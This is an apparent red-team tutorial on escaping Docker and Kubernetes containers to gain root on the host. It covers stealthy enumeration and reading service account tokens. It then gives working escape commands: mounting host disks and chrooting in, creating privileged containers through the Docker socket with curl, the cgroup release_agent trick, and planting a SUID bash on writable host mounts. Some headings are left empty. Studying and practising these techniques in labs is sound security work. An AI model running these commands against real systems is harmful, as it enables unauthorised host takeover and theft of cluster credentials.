Container Escape: From Enumeration to Host Root

Introduction

Containers have become the backbone of modern infrastructure, powering everything from microservices to CI/CD pipelines. But here's the uncomfortable truth: containers are not virtual machines. They're processes with fancy namespaces and cgroups, sharing the same kernel as the host. This fundamental architecture creates a fascinating attack surface for security researchers and red teamers.


TL;DR: The One-Minute Version

If you only have sixty seconds, here's what you need to know about container escapes:

Quick Win Checklist: If you find any of these, you're likely one command away from host access: privileged container, Docker socket mount, CAP_SYS_ADMIN, writable /etc or /root mount, elevated Kubernetes RBAC permissions.

Understanding the Threat Model

Why Containers Aren't Security Boundaries

The most important concept to understand is that containers are not security boundaries by design. They're isolation mechanisms built for resource management and application packaging, not for running untrusted code.

# Virtual Machine Model
Host Kernel → Hypervisor → Guest Kernel → Guest Process
(True isolation - separate kernels)

# Container Model  
Host Kernel → Container Runtime → Namespaces/Cgroups → Container Process
(Shared kernel - weaker isolation)

Because containers share the host kernel, any kernel vulnerability is automatically exploitable from inside containers. There's no additional security layer protecting the host from a compromised container—only namespace and capability restrictions, which are bypassable under many common misconfigurations.

Common Misconceptions


Full Enumeration Checklist

When you land inside a container, your first goal is reconnaissance. These commands help you understand your environment and identify potential escape vectors. All commands are designed to be quiet and avoid triggering obvious alerts.

Environment & Basic Indicators

Start with quick checks to confirm you're in a container and identify the container runtime:

# Quick indicators
[ -f /.dockerenv ] && echo "dockerenv present"
cat /proc/1/cgroup
env | grep -iE 'kube|docker|container'
ls -la /
df -h
uname -a
What to look for: The /.dockerenv file is a dead giveaway for Docker containers. In /proc/1/cgroup, you'll see paths containing "docker" or "kubepods". Environment variables often leak Kubernetes metadata.

Files & Mounts

Check for the Docker socket (instant win), mounted filesystems, and writable directories that might be host mounts:

# Check docker socket, mounts, writeable host dirs
ls -la /var/run/docker.sock 2>/dev/null || true
mount | sed -n '1,200p'
find / -xdev -type d -writable 2>/dev/null | head -n 50
grep -R --line-number "kube" /proc/mounts 2>/dev/null || true
Critical Finding: If /var/run/docker.sock exists and is accessible, you can control the Docker daemon and spawn privileged containers. This is a direct path to host root.

Capabilities & Privilege Checks

Linux capabilities are the key to many container escapes. Check what capabilities your process has:

# Requires util-linux or libcap-utils; fallback to /proc
capsh --print 2>/dev/null || true
grep Cap /proc/self/status

# Privileged quick check
ip link add dummy0 type dummy 2>/dev/null && echo "likely privileged" || true

The ip link add command is a clever trick—only privileged containers can create network interfaces. If this succeeds, you're almost certainly in a privileged container.

Docker Socket via cURL

If the Docker socket is mounted, you can query it even without the Docker client:

# If curl is present
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
Pro Tip: The Docker API is RESTful and fully documented. You can create, start, stop, and execute commands in containers purely through HTTP requests to the socket.

Kernel & Exploit Hunting

uname -r

# Optional: list kernel config info
zcat /proc/config.gz 2>/dev/null || true

The kernel version is critical for identifying known vulnerabilities. Tools like linux-exploit-suggester can help, but be cautious—kernel exploits can crash systems.

Kubernetes-Specific Checks

In Kubernetes environments, check for service account tokens and API access:

ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null || true
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -n 1

# API server base URL
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces 2>/dev/null || true
Kubernetes Reality: Most pods automatically mount service account tokens. If the service account has elevated RBAC permissions, you can interact with the Kubernetes API to create privileged pods, list secrets, or even gain cluster admin.

High-Probability Escape Vectors

Now that we've covered enumeration, let's dive into the actual escape techniques. These are ordered by likelihood of success in real-world environments.

1. Privileged Containers

Why it works: The --privileged flag removes almost all namespace and cgroup enforcement, and grants access to all host devices including block devices.

Detection: Try creating a network interface with ip link add dummy0 type dummy. Success strongly indicates privileged mode.

Exploitation Pattern

Identify you're privileged (network interface creation succeeds)
List available block devices with fdisk -l
Mount host filesystem to local directory
Chroot into mounted filesystem for full host access
mkdir /mnt/host
mount /dev/sda1 /mnt/host       # or other block devices you find
chroot /mnt/host /bin/bash
id

What to do on the host: Once you've chrooted into the host filesystem, you have full root access. Common persistence techniques include:

2. Mounted Docker Socket

Why it works: When /var/run/docker.sock is mounted into a container, that container can control the entire Docker daemon. This is equivalent to root on the host.

Detection:

ls -la /var/run/docker.sock
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

Exploitation without Docker client: You can interact with Docker purely through HTTP requests to the Unix socket:

# Create privileged container that mounts host root
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

# Note the container ID from response, then start and attach

If Docker client exists inside the container:

docker run -v /:/host --privileged -it --rm alpine chroot /host sh
Why this is dangerous: Mounting the Docker socket is surprisingly common in CI/CD pipelines, monitoring tools, and "Docker-in-Docker" setups. It's often done for convenience without understanding the security implications.

3. Excessive Capabilities

Why it works: Linux capabilities allow fine-grained privilege delegation. Several capabilities effectively grant root access when misused.

Detection:

capsh --print | grep Cap
cat /proc/self/status | grep Cap

Dangerous Capabilities

Exploitation example with CAP_SYS_ADMIN:

# Mount host filesystem
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find path on host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit" > /tmp/cgrp/release_agent

# Create exploit script
cat > /exploit << EOF
#!/bin/sh
ps aux > $host_path/output
EOF
chmod a+x /exploit

# Trigger execution on host
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

4. Writable Host Mounts

Why it works: When host directories are bind-mounted into containers with write access, you can alter host files directly.

High-value targets:

SUID Binary Escalation

Identify writable host mount (check mount output)
Copy bash binary to mounted directory
Set SUID bit and root ownership
Execute from host for instant root shell
# Drop SUID bash on host (lab environment only)
cp /bin/bash /mnt/host/tmp/suidbash
chown root:root /mnt/host/tmp/suidbash
chmod 4755 /mnt/host/tmp/suidbash

# On host, run:
# /tmp/suidbash -p  => instant root shell
Detection Tip: Look for mount points in df -h or mount that show filesystem types like "ext4" or "xfs" rather than "overlay" or "tmpfs". These are often host mounts.

5. Kubernetes Service Account Tokens & RBAC

Why it works: Kubernetes pods automatically mount service account tokens by default. If the service account has elevated RBAC permissions, you can interact with the Kubernetes API to escalate privileges.

Detection & Enumeration:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

# Check basic access
curl -k -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

# Check permissions
curl -k -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles

Exploitation strategies:

Real-world note: Many production Kubernetes clusters have overly permissive RBAC configurations. Service accounts often have more permissions than necessary due to convenience or troubleshooting needs.

6. Kernel Exploits

Why it works: Containers share the host kernel. Any kernel vulnerability is exploitable from inside containers, potentially leading to host compromise.

Detection: Identify kernel version with uname -r and cross-reference with known CVEs using tools like linux-exploit-suggester.

Extreme Caution Required: Kernel exploits can crash the entire host system, taking down all containers and potentially corrupting data. Use only in isolated lab environments where system crashes are acceptable. Never use kernel exploits in production assessments without explicit authorization and acceptance of risk.

Common kernel vulnerabilities used in container escapes:

Lab Setup & Practice

The best way to understand these techniques is to practice in a safe environment. Here's how to build your own container escape lab.

Quick Vulnerable Lab Setup

# Privileged container
docker run -it --privileged ubuntu:latest bash

# Docker socket mounted
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest bash

# Writable host mount
docker run -it -v /:/host ubuntu:latest bash

# Excessive capabilities
docker run -it --cap-add=SYS_ADMIN ubuntu:latest bash

Recommended Practice Resources


Additional Resources

Tools

Further Reading


Acknowledgments

Shoutout to @rsgbengii for a wonderfull artcle on container security and awesome newsletter, never disappoints <\3